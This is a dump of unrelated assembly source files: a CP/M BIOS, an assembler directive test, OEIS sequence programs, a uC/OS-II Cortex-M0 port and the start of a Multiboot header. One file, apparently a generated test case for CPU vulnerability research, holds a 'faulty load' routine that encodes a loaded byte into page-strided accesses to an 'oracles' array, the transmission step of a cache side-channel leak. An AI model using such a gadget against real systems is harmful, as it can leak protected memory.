?\n\t\tjz\tWRITE2\t\t; yes, ret -> A=0 - OK\n\t\tdcr\tb\t\t; decrement retries\n\t\tjnz\tWRITE1\t\t; again\n\t\tlxi\th,ErrWrite\t; text Write Error\n\t\tcall\tPrintError\t; show chybu\n\t\tcpi\t'R'\t\t; Retry ?\n\t\tjz\tWRITE3\t\t; yes, again\n\t\tsui\t'I'\t\t; Ignore ?\n\t\tjz\tWRITE2\t\t; ret A=0\n\t\tmvi\ta,1\t\t; A=1 - err\n endif\nWRITE2:\t\tcall\tRestoreSP\t; restore original stack\n\t\tret\n\n;------------------------------------------------------------------------------\n; Set local stack\n; I: -\n; O: -\n; M: DE, HL, SP\nLocalSP:\tpop\td\t\t; ret address to DE\n\t\tlxi\th,0\t\t; stack address to HL\n\t\tdad\tsp\n\t\tlxi\tsp,Stack\t; new stack address\n\t\tpush\th\t\t; old stack address on new stack\n\t\txchg\t\t\t; return indirectly\n\t\tpchl\n\n;------------------------------------------------------------------------------\n; Restors original stack\n; I: -\n; O: -\n; M: DE, HL, SP\nRestoreSP:\tpop\td\t\t; ret adresa to DE\n\t\tlhld \tStack-2\t\t; original stack to HL\n\t\tsphl\t\t\t; set original stack address\n\t\txchg\t\t\t; return indirectly\n\t\tpchl\n\n;------------------------------------------------------------------------------\n; Short delay\n; I: -\n; O: cca 90 us\n; M: AF\nWaitQ:\t\tmvi\ta,10*(CRYSTAL\/2)\nWaitQ1:\t\tdcr\ta\n\t\tjnz\tWaitQ1\n\t\tret\n\n;------------------------------------------------------------------------------\n; Long delay\n; I: -\n; O: cca 1s\n; M: AF, BC\nWaitL:\t\tlxi\tb,3700*(CRYSTAL\/2)\nWaitL1:\t\tcall\tWaitQ\n\t\tdcx\tb\n\t\tjnk\tWaitL1\n\t\tret\n\n;------------------------------------------------------------------------------\n; Delay cca 1ms\n;WaitM:\t\tmvi\tb,11\n;WaitM1:\t\tcall\tWaitQ\n;\t\tdcr\tb\n;\t\tjnz\tWaitM1\n;\t\tret\n\n;------------------------------------------------------------------------------\n; Init USART and PIO\n; I: -\n; O: -\n; M: AF\nHardwareInit:\n; init USART 8251\n\t\txra\ta\t\t; be sure to be in Command mode\n\t\tout\tUSART_CWR\t; 3x 00\n\t\tout\tUSART_CWR\n\t\tout\tUSART_CWR\n\t\tmvi\ta,USART_RESET\t; Reset 8251\n\t\tout\tUSART_CWR\n\t\tmvi\ta,USART_CMD1\t; 8 data, 1 stop, x16\n\t\tout\tUSART_CWR\t; RxC a TxC = 307,2 kHz -> 19200 Bd\n\t\tmvi\ta,USART_CMD2\t; RTS, DTR, Enable RX, TX\n\t\tout\tUSART_CWR\n ;\n ; init PIO 8255\n if NumPmd32>0\nPioInit:\tmvi\ta,PIO_CMD\n\t\tout\tPIO_CWR\n endif\n\t\t;\nuart_init_16552:\n mvi a, 0C7h ;06-no FIFO, 07-enable FIFO, bits 6,7 - fifo trigger\n out FIFO_CTRL_REG_1\n out FIFO_CTRL_REG_2\n mvi a, 83h\n out LINE_CTRL_REG_1\n out LINE_CTRL_REG_2\n mvi a, 02h ;8-4800,4-9600,2-19200,1-38400\n out DIVISOR_LOW_BYTE_1\n out DIVISOR_LOW_BYTE_2\n xra a\n out DIVISOR_HIGH_BYTE_1\n out DIVISOR_HIGH_BYTE_2\n mvi a, 03h\n out LINE_CTRL_REG_1\n out LINE_CTRL_REG_2\n ret\n ;\n ; print char in C reg on UART2.2\n ifdef DEBUG\nCONOUT2: in LINE_STATUS_REG_2 ; 16552\n\t\tani 20h\n\t\tjz\tCONOUT2 ; wait\n\t\tmov\ta,c\t\t; char to A\n\t\tout\tTRANSMITTER_BUFFER_REG_2 ; send \n\t\tret\n ;\n ;print hl in hex format\nhl_to_hex: mov a,h\n call tohexh\n call CONOUT2 ;output\n mov a,h\n call tohexl\n call CONOUT2 ;output\nl_to_buff: mov a,l\n call tohexh\n call CONOUT2 ;output\nl2_to_buff: mov a,l\n call tohexl\n call CONOUT2 ;output\n ret\ntohexh: rlc ;high 4-bits\n rlc\n rlc\n rlc\ntohexl: ani 0Fh ;low 4-bits\n adi 30h \n cpi 3Ah ;9 is 0x39\n jm nohex ;0-9 ?\n adi 07h ;no, it is A-F\nnohex: mov c,a ;return in c\n ret\n endif\n\n;------------------------------------------------------------------------------\n; Variables in BIOS\nSEKDSK: ; DRI name\nDrive:\t\tdb\t0\t\t; current disk\n\nSEKTRK: ; DRI name\nTrack:\t\tdw\t0\t\t; current track\n\nSEKSEC: ; DRI name\nSector:\t\tdb\t0\t\t; current sector a disk\n\nDMAADR: ; DRI name\nDma:\t\tdw\t0\t\t; adresa DMA\n\nStackX:\t\tds\t32\t\t; stack for BIOS\nStack\t\tequ\t$\n\nOldHL:\t\tds\t2\t\t; backup HL in interrupt\nUsartByte\tds\t1\t\t; received byte from USART\n\n;------------------------------------------------------------------------------\n; choose one of the implementations of serial routinnes\n ; 8251 uart pulling mode, no special char decode\n ;include \"serial_mini.asm\"\n ;\n ; 8251 uart, interrupt mode, with special char decoding\n ;include \"serial_int.asm\"\n ;\n ; 16552 uart, channel 1, pulling mode, no special char decode\n include \"serial_mini_16552.asm\"\n;------------------------------------------------------------------------------\n include \"pmd32_driver.asm\"\n;------------------------------------------------------------------------------\n include \"fdc_driver.asm\"\n;------------------------------------------------------------------------------\n include \"blocking_dri.asm\"\n;------------------------------------------------------------------------------\n ; BIOS data areas\n if NumPmd32>0\nALV0:\t\tds\t128\t\t; disk A: allocation vector\nCSV0:\t\tds\t64\t\t; disk A: directory checksum\nALV1:\t\tds\t128\t\t; disk B: allocation vector\nCSV1:\t\tds\t64\t\t; disk B: directory checksum\n endif\n ; for EPROM located CCP\/BDOS we need to save space\n ; buffers are not allocated so that BIOS+CCP\/BDOS fits in 8k\n if (CPMSource == \"ROM\") ; saving rom space\nHSTBUF: ; used by DRI blocking algorithm\nDIRBUF equ HSTBUF + HSTSIZ ; not allocated, only defined\n if (Floppy==360)\n;ALV4:\t\tds\t23\t\t; disk E: allocation vector\n;CSV4:\t\tds\t16\t\t; disk E: directory checksum\n;ALV5:\t\tds\t23\t\t; disk F: allocation vector\n;CSV5:\t\tds\t16\t\t; disk F: directory checksum\nALV4 equ DIRBUF + 128 ; not allocated, only defined\nCSV4 equ ALV4 + 23 ; not allocated, only defined\nALV5 equ CSV4 + 16 ; not allocated, only defined\nCSV5 equ ALV5 + 23 ; not allocated, only defined\n message \"END ADDRESS : \\{CSV5+16}\" ;16 bytes for CSV5\n elseif (Floppy==144)\n;ALV4:\t\tds\t81\t\t; disk E: allocation vector\n;CSV4:\t\tds\t64\t\t; disk E: directory checksum\n;ALV5:\t\tds\t81\t\t; disk F: allocation vector\n;CSV5:\t\tds\t64\t\t; disk F: directory checksum\nALV4 equ DIRBUF + 128 ; not allocated, only defined\nCSV4 equ ALV4 + 81 ; not allocated, only defined\nALV5 equ CSV4 + 64 ; not allocated, only defined\nCSV5 equ ALV5 + 81 ; not allocated, only defined\n message \"END ADDRESS : \\{CSV5+81}\" ;81 bytes for CSV5\n endif\n else ; CCP\/BDOS loaded from first track, buffers allocated\nDIRBUF:\t\tds\t128\t\t; dir buffer\n if (Floppy==360)\nALV4:\t\tds\t22\t\t; disk E: allocation vector\nCSV4:\t\tds\t16\t\t; disk E: directory checksum\nALV5:\t\tds\t22\t\t; disk F: allocation vector\nCSV5:\t\tds\t16\t\t; disk F: directory checksum\n elseif (Floppy==144)\nALV4:\t\tds\t80\t\t; disk E: allocation vector\nCSV4:\t\tds\t64\t\t; disk E: directory checksum\nALV5:\t\tds\t80\t\t; disk F: allocation vector\nCSV5:\t\tds\t64\t\t; disk F: directory checksum\n endif\n message \"END ADDRESS : \\{$}\" ;\n endif ; CPMSource\n\nXBIOSLength:\tequ\t$ - BaseBIOS\n\n\t\tif\tXBIOSLength > BIOSLengthMax\n\t\t warning \"\\aBIOS is too long\"\n\t\tendif\n;------------------------------------------------------------------------------\n\t\tdephase\n;------------------------------------------------------------------------------\nCPMBIN: \n if (CPMSource <> \"ROM\")\n message \"DO NOT INCLUDE CP\/M IMAGE\"\n else\n binclude \"..\/CPM\/cpmDE00.bin\"\n message \"..\/CPM\/cpm\\{BaseCCP}.bin DOUBLE CHECK binclude file!!!\"\n message \"AND FIX!!! binclude(d) CPM image if NECESSARY!!!\"\n endif\n \n\t\tend\n;------------------------------------------------------------------------------\n","avg_line_length":33.2668089648,"max_line_length":93,"alphanum_fraction":0.4702126977} {"size":528,"ext":"asm","lang":"Assembly","max_stars_count":2151.0,"content":".loc\n.loc \"foo\"\n.loc bar\n.loc -5\n#.loc foo=1\n.loc 1\n.loc 1 \"foo\"\n.loc 1 bar\n.loc 1 2\n#.loc 1 bar=2\n.loc 1 bar 2\n.loc 1 2 \"foo\"\n.loc 1 2 bar+1\n.loc 1 2 is_stmt\n.loc 1 2 is_stmt 1\n#.loc 1 2 is_stmt=\"foo\"\n.loc 1 2 is_stmt \"foo\"\n#.loc 1 2 is_stmt=bar\n.loc 1 2 is_stmt bar\n.loc 1 2 is_stmt (bar)\n#.loc 1 2 is_stmt=2\n.loc 1 2 is_stmt 2\n.loc 1 2 isa\n.loc 1 2 isa 1\n#.loc 1 2 isa=\"foo\"\n.loc 1 2 isa \"foo\"\n#.loc 1 2 isa=bar\n.loc 1 2 isa bar\n#.loc 1 2 isa=-2\n.loc 1 2 isa (-2)\n.loc 1 2 isa -2\n#.loc 1 2 foo=1\n.loc 1 2 foo 1\n#.loc 1 2 bar\n","avg_line_length":15.0857142857,"max_line_length":23,"alphanum_fraction":0.6098484848} {"size":485,"ext":"asm","lang":"Assembly","max_stars_count":1.0,"content":"; A056640: At stage 1, start with a unit square. At each successive stage add 4*(n-1) new squares around outside with edge-to-edge contacts. Sequence gives number of squares (regardless of size) at n-th stage.\n; 1,5,18,42,83,143,228,340,485,665,886,1150,1463,1827,2248,2728,3273,3885,4570,5330,6171,7095,8108,9212,10413,11713,13118,14630,16255,17995,19856,21840,23953,26197,28578,31098,33763,36575,39540,42660,45941,49385,52998\n\nmov $1,$0\nadd $0,3\nadd $1,$0\nbin $1,3\nadd $1,1\ndiv $1,2\n","avg_line_length":48.5,"max_line_length":217,"alphanum_fraction":0.7505154639} {"size":6864,"ext":"asm","lang":"Assembly","max_stars_count":9.0,"content":".global s_prepare_buffers\ns_prepare_buffers:\npush %r11\npush %r12\npush %r13\npush %r9\npush %rax\npush %rcx\npush %rdi\npush %rsi\nlea addresses_WT_ht+0x1bb95, %r13\nnop\nnop\nnop\nnop\nadd $41773, %rcx\nmovb $0x61, (%r13)\nnop\nxor %r9, %r9\nlea addresses_A_ht+0x185c1, %rax\nclflush (%rax)\nnop\nadd $41379, %rcx\nmovw $0x6162, (%rax)\nnop\nnop\nnop\nnop\nsub $21156, %r9\nlea addresses_WT_ht+0x1ee81, %rsi\nlea addresses_A_ht+0x3c79, %rdi\nnop\nnop\nxor %r11, %r11\nmov $103, %rcx\nrep movsw\nnop\nsub $10578, %rcx\nlea addresses_UC_ht+0x8d15, %r13\nnop\nnop\nnop\nnop\nnop\nadd %rsi, %rsi\nmov (%r13), %di\nnop\nnop\nnop\nnop\nand $10032, %rcx\nlea addresses_WT_ht+0x16ee1, %r13\nnop\nnop\nnop\nnop\nsub $45185, %r9\nmovl $0x61626364, (%r13)\nnop\nnop\nnop\nsub %r11, %r11\nlea addresses_normal_ht+0x149b3, %rdi\nnop\nnop\nnop\nadd %r9, %r9\nmov $0x6162636465666768, %rcx\nmovq %rcx, (%rdi)\nnop\nnop\nnop\nsub $12946, %r12\nlea addresses_D_ht+0xee81, %rcx\nnop\nnop\nnop\nadd %r13, %r13\nmov $0x6162636465666768, %r11\nmovq %r11, (%rcx)\nnop\nnop\nnop\nnop\nnop\nadd %r12, %r12\nlea addresses_normal_ht+0x1aba3, %rdi\ncmp $28894, %r12\nmov (%rdi), %r9\nnop\nnop\nnop\nnop\nnop\ncmp $63245, %r11\nlea addresses_WC_ht+0xd9d, %r9\nnop\nnop\nnop\nnop\ncmp %r13, %r13\nmovl $0x61626364, (%r9)\nnop\nnop\nadd $59892, %rdi\nlea addresses_D_ht+0x54f1, %r13\nclflush (%r13)\nnop\nsub $63005, %rdi\nmovw $0x6162, (%r13)\nsub %r11, %r11\nlea addresses_D_ht+0x16581, %rcx\nnop\nnop\nnop\nadd $41757, %rdi\nmov (%rcx), %ax\nxor $13747, %rcx\nlea addresses_WC_ht+0x114a1, %rsi\nlea addresses_D_ht+0x80e9, %rdi\nnop\nnop\nnop\nnop\nand $8530, %rax\nmov $94, %rcx\nrep movsl\nsub $45702, %r11\npop %rsi\npop %rdi\npop %rcx\npop %rax\npop %r9\npop %r13\npop %r12\npop %r11\nret\n\n .global s_faulty_load\ns_faulty_load:\npush %r11\npush %r12\npush %r13\npush %r8\npush %rbp\npush %rdx\n\n\/\/ Faulty Load\nlea addresses_PSE+0x5b61, %r13\nnop\nnop\nnop\nnop\nnop\nsub %r12, %r12\nmovups (%r13), %xmm5\nvpextrq $1, %xmm5, %rdx\nlea oracles, %r12\nand $0xff, %rdx\nshlq $12, %rdx\nmov (%r12,%rdx,1), %rdx\npop %rdx\npop %rbp\npop %r8\npop %r13\npop %r12\npop %r11\nret\n\n\/*\n\n[REF]\n{'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_PSE', 'NT': False, 'AVXalign': False, 'size': 4, 'congruent': 0}}\n[Faulty Load]\n{'OP': 'LOAD', 'src': {'same': True, 'type': 'addresses_PSE', 'NT': False, 'AVXalign': False, 'size': 16, 'congruent': 0}}\n\n{'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_WT_ht', 'NT': False, 'AVXalign': False, 'size': 1, 'congruent': 2}}\n{'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_A_ht', 'NT': False, 'AVXalign': False, 'size': 2, 'congruent': 2}}\n{'OP': 'REPM', 'src': {'same': False, 'congruent': 5, 'type': 'addresses_WT_ht'}, 'dst': {'same': False, 'congruent': 3, 'type': 'addresses_A_ht'}}\n{'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_UC_ht', 'NT': False, 'AVXalign': False, 'size': 2, 'congruent': 1}}\n{'OP': 'STOR', 'dst': {'same': True, 'type': 'addresses_WT_ht', 'NT': False, 'AVXalign': False, 'size': 4, 'congruent': 7}}\n{'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_normal_ht', 'NT': False, 'AVXalign': False, 'size': 8, 'congruent': 0}}\n{'OP': 'STOR', 'dst': {'same': True, 'type': 'addresses_D_ht', 'NT': False, 'AVXalign': False, 'size': 8, 'congruent': 5}}\n{'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_normal_ht', 'NT': False, 'AVXalign': False, 'size': 8, 'congruent': 0}}\n{'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_WC_ht', 'NT': False, 'AVXalign': False, 'size': 4, 'congruent': 2}}\n{'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_D_ht', 'NT': True, 'AVXalign': False, 'size': 2, 'congruent': 3}}\n{'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_D_ht', 'NT': False, 'AVXalign': False, 'size': 2, 'congruent': 4}}\n{'OP': 'REPM', 'src': {'same': False, 'congruent': 5, 'type': 'addresses_WC_ht'}, 'dst': {'same': False, 'congruent': 3, 'type': 'addresses_D_ht'}}\n{'33': 21829}\n33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33\n*\/\n","avg_line_length":35.75,"max_line_length":2999,"alphanum_fraction":0.6558857809} {"size":14212,"ext":"asm","lang":"Assembly","max_stars_count":169.0,"content":";********************************************************************************************************\n; uC\/OS-II\n; The Real-Time Kernel\n;\n; Copyright 1992-2021 Silicon Laboratories Inc. www.silabs.com\n;\n; SPDX-License-Identifier: APACHE-2.0\n;\n; This software is subject to an open source license and is distributed by\n; Silicon Laboratories Inc. pursuant to the terms of the Apache License,\n; Version 2.0 available at www.apache.org\/licenses\/LICENSE-2.0.\n;\n;********************************************************************************************************\n\n;********************************************************************************************************\n;\n; ARMv6-M Port\n;\n; Filename : os_cpu_a.asm\n; Version : V2.93.01\n;********************************************************************************************************\n; For : ARMv6-M Cortex-M0 or Cortex-M0+\n; Mode : Thumb2\n; Toolchain : IAR EWARM\n;*********************************************************************************************************\n; Note(s) : (1) This port supports the ARM Cortex-M0 and Cortex-M0+ architectures.\n;*********************************************************************************************************\n\n;********************************************************************************************************\n; PUBLIC FUNCTIONS\n;********************************************************************************************************\n\n EXTERN OSRunning ; External references\n EXTERN OSPrioCur\n EXTERN OSPrioHighRdy\n EXTERN OSTCBCur\n EXTERN OSTCBHighRdy\n EXTERN OSIntExit\n EXTERN OSTaskSwHook\n EXTERN OS_CPU_ExceptStkBase\n\n\n PUBLIC OSStartHighRdy ; Functions declared in this file\n PUBLIC OS_CPU_SR_Save\n PUBLIC OS_CPU_SR_Restore\n PUBLIC OSCtxSw\n PUBLIC OSIntCtxSw\n PUBLIC OS_CPU_PendSVHandler\n\n\n;********************************************************************************************************\n; EQUATES\n;********************************************************************************************************\n\nNVIC_INT_CTRL EQU 0xE000ED04 ; Interrupt control state register.\nNVIC_SYSPRI14 EQU 0xE000ED20 ; System priority register (priority 14).\nNVIC_PENDSV_PRI EQU 0x00FF0000 ; PendSV priority value (lowest).\nNVIC_PENDSVSET EQU 0x10000000 ; Value to trigger PendSV exception.\n\n\n;********************************************************************************************************\n; CODE GENERATION DIRECTIVES\n;********************************************************************************************************\n\n RSEG CODE:CODE:NOROOT(2)\n THUMB\n\n\n;********************************************************************************************************\n; CRITICAL SECTION METHOD 3 FUNCTIONS\n;\n; Description: Disable\/Enable interrupts by preserving the state of interrupts. Generally speaking you\n; would store the state of the interrupt disable flag in the local variable 'cpu_sr' and then\n; disable interrupts. 'cpu_sr' is allocated in all of uC\/OS-II's functions that need to\n; disable interrupts. You would restore the interrupt disable state by copying back 'cpu_sr'\n; into the CPU's status register.\n;\n; Prototypes : OS_CPU_SR OS_CPU_SR_Save(void);\n; void OS_CPU_SR_Restore(OS_CPU_SR cpu_sr);\n;\n;\n; Note(s) : 1) These functions are used in general like this:\n;\n; void Task (void *p_arg)\n; {\n; #if OS_CRITICAL_METHOD == 3 \/* Allocate storage for CPU status register *\/\n; OS_CPU_SR cpu_sr;\n; #endif\n;\n; :\n; :\n; OS_ENTER_CRITICAL(); \/* cpu_sr = OS_CPU_SaveSR(); *\/\n; :\n; :\n; OS_EXIT_CRITICAL(); \/* OS_CPU_RestoreSR(cpu_sr); *\/\n; :\n; :\n; }\n;********************************************************************************************************\n\nOS_CPU_SR_Save\n MRS R0, PRIMASK ; Set prio int mask to mask all (except faults)\n CPSID I\n BX LR\n\nOS_CPU_SR_Restore\n MSR PRIMASK, R0\n BX LR\n\n\n;********************************************************************************************************\n; START MULTITASKING\n; void OSStartHighRdy(void)\n;\n; Note(s) : 1) This function triggers a PendSV exception (essentially, causes a context switch) to cause\n; the first task to start.\n;\n; 2) OSStartHighRdy() MUST:\n; a) Setup PendSV exception priority to lowest;\n; b) Set initial PSP to 0, to tell context switcher this is first run;\n; c) Set the main stack to OS_CPU_ExceptStkBase;\n; d) Set OSRunning to TRUE;\n; e) Trigger PendSV exception;\n; f) Enable interrupts (tasks will run with interrupts enabled).\n;********************************************************************************************************\n\nOSStartHighRdy\n LDR R0, =NVIC_SYSPRI14 ; Set the PendSV exception priority\n LDR R1, =NVIC_PENDSV_PRI\n STR R1, [R0]\n\n MOVS R0, #0 ; Set the PSP to 0 for initial context switch call\n MSR PSP, R0\n BL OSTaskSwHook\n\n LDR R0, =OS_CPU_ExceptStkBase ; Initialize the MSP to the OS_CPU_ExceptStkBase\n LDR R1, [R0]\n MSR MSP, R1\n\n LDR R0, =OSRunning ; OSRunning = TRUE\n MOVS R1, #1\n STRB R1, [R0]\n\n LDR R0, =NVIC_INT_CTRL ; Trigger the PendSV exception (causes context switch)\n LDR R1, =NVIC_PENDSVSET\n STR R1, [R0]\n\n CPSIE I ; Enable interrupts at processor level\n\nOSStartHang\n B OSStartHang ; Should never get here\n\n\n;********************************************************************************************************\n; PERFORM A CONTEXT SWITCH (From task level) - OSCtxSw()\n;\n; Note(s) : 1) OSCtxSw() is called when OS wants to perform a task context switch. This function\n; triggers the PendSV exception which is where the real work is done.\n;********************************************************************************************************\n\nOSCtxSw\n LDR R0, =NVIC_INT_CTRL ; Trigger the PendSV exception (causes context switch)\n LDR R1, =NVIC_PENDSVSET\n STR R1, [R0]\n BX LR\n\n\n;********************************************************************************************************\n; PERFORM A CONTEXT SWITCH (From interrupt level) - OSIntCtxSw()\n;\n; Note(s) : 1) OSIntCtxSw() is called by OSIntExit() when it determines a context switch is needed as\n; the result of an interrupt. This function simply triggers a PendSV exception which will\n; be handled when there are no more interrupts active and interrupts are enabled.\n;********************************************************************************************************\n\nOSIntCtxSw\n LDR R0, =NVIC_INT_CTRL ; Trigger the PendSV exception (causes context switch)\n LDR R1, =NVIC_PENDSVSET\n STR R1, [R0]\n BX LR\n\n\n;********************************************************************************************************\n; HANDLE PendSV EXCEPTION\n; void OS_CPU_PendSVHandler(void)\n;\n; Note(s) : 1) PendSV is used to cause a context switch. This is a recommended method for performing\n; context switches with Cortex-M0. This is because the Cortex-M0 auto-saves half of the\n; processor context on any exception, and restores same on return from exception. So only\n; saving of R4-R11, LR is required and fixing up the stack pointers. Using the PendSV exception\n; this way means that context saving and restoring is identical whether it is initiated from\n; a thread or occurs due to an interrupt or exception.\n;\n; 2) Pseudo-code is:\n; a) Get the process SP, if 0 then skip (goto d) the saving part (first context switch);\n; b) Adjust SP to make space for R4-R11 and LR register\n; c) Save the process SP in its TCB, OSTCBCur->OSTCBStkPtr = SP;\n; d) Save remaining regs R4-R11, LR on process stack;\n; e) Call OSTaskSwHook();\n; f) Get current high priority, OSPrioCur = OSPrioHighRdy;\n; g) Get current ready thread TCB, OSTCBCur = OSTCBHighRdy;\n; h) Get new process SP from TCB, SP = OSTCBHighRdy->OSTCBStkPtr;\n; i) Adjust SP to the High Registers(R8-R11) & LR location\n; j) Restore R8-R11, and LR from new process stack;\n; k) Load PSP with new process SP\n; m) Restore remaining R4-R7 from new process stack\n; n) Perform exception return which will restore remaining context.\n;\n; 3) On entry into PendSV handler:\n; a) The following have been saved on the process stack (by processor):\n; xPSR, PC, LR, R12, R0-R3\n; b) Processor mode is switched to Handler mode (from Thread mode)\n; c) Stack is Main stack (switched from Process stack)\n; d) OSTCBCur points to the OS_TCB of the task to suspend\n; OSTCBHighRdy points to the OS_TCB of the task to resume\n;\n; 4) Since PendSV is set to lowest priority in the system (by OSStartHighRdy() above), we\n; know that it will only be run when no other exception or interrupt is active, and\n; therefore safe to assume that context being switched out was using the process stack (PSP).\n;********************************************************************************************************\n\nOS_CPU_PendSVHandler\n CPSID I ; Prevent interruption during context switch\n MRS R0, PSP ; PSP is process stack pointer\n\n CMP R0, #0\n BEQ OS_CPU_PendSVHandler_nosave ; equivalent code to CBZ from M3 arch to M0 arch\n ; Except that it does not change the condition code flags\n\n SUBS R0, R0, #0x24 ; Adjust SP to make space for Low, High & LR registers\n LDR R1, =OSTCBCur ; OSTCBCur->OSTCBStkPtr = SP;\n LDR R1, [R1]\n STR R0, [R1] ; R0 is SP of process being switched out\n\n STMIA R0!, {R4-R7} ; Store R4-R7(Low Registers) on process stack\n MOV R4, R8 ; Move R8-R11 values to R4-R7 registers.\n MOV R5, R9\n MOV R6, R10\n MOV R7, R11\n STMIA R0!, {R4-R7} ; Store R8-R11(High Registers) on process stack\n MOV R3, R14 ; R3 is LR of process being switched out\n STMIA R0!, {R3} ; Store LR (EXC_RETURN) on process stack.\n\n ; At this point, entire context of process has been saved\nOS_CPU_PendSVHandler_nosave\n BL OSTaskSwHook ; OSTaskSwHook();\n\n LDR R0, =OSPrioCur ; OSPrioCur = OSPrioHighRdy;\n LDR R1, =OSPrioHighRdy\n LDRB R2, [R1]\n STRB R2, [R0]\n\n LDR R0, =OSTCBCur ; OSTCBCur = OSTCBHighRdy;\n LDR R1, =OSTCBHighRdy\n LDR R2, [R1]\n STR R2, [R0]\n\n LDR R0, [R2] ; R0 is new process SP; SP = OSTCBHighRdy->OSTCBStkPtr;\n\n ADDS R0, #0x10 ; Adjust SP to High Registers(R8-R11) location\n LDMFD R0!, {R4-R7} ; Load R8-R11 values from new process stack into R4-R7\n MOV R8, R4 ; Restore R8-R11 by moving their values from R4-R7\n MOV R9, R5\n MOV R10, R6\n MOV R11, R7\n\n LDMFD R0!, {R3} ; R3 has the new process LR; R3 = LR (EXEC_RETURN)\n MOV R14, R3 ; Restore LR (EXEC_RETURN)\n\n MSR PSP, R0 ; Load PSP with new process SP\n\n SUBS R0, #0x24 ; Adjust SP to Low registers(R4-R7) location\n LDMFD R0!, {R4-R7} ; Restore remaining R4-R7 from new process stack\n\n CPSIE I\n BX LR ; Exception return will restore remaining context\n\n END\n","avg_line_length":50.9390681004,"max_line_length":121,"alphanum_fraction":0.4218266254} {"size":300,"ext":"asm","lang":"Assembly","max_stars_count":1.0,"content":"; A094042: Beatty sequence for e^Pi - Pi^e - i^i.\n; 1,3,5,7,9,11,13,15,17,18,20,22,24,26,28,30,32,34,36,37,39,41,43,45,47,49,51,53,55,56,58,60,62,64,66,68,70,72,74,75,77,79,81,83,85,87,89,91,93,94,96,98,100,102,104,106,108,110,112,113,115,117,119,121,123,125\n\nmul $0,19\nadd $0,18\ndiv $0,10\nmov $1,$0\n","avg_line_length":37.5,"max_line_length":208,"alphanum_fraction":0.6533333333} {"size":840,"ext":"asm","lang":"Assembly","max_stars_count":6.0,"content":"[bits 32]\n\nMBALIGN equ 1 << 0 ; align loaded modules on page boundaries\nMEMINFO equ 1 << 1 ; provide memory map\nFLAGS equ MBALIGN | MEMINFO ; this is the Multiboot 'flag' field\nMAGIC equ 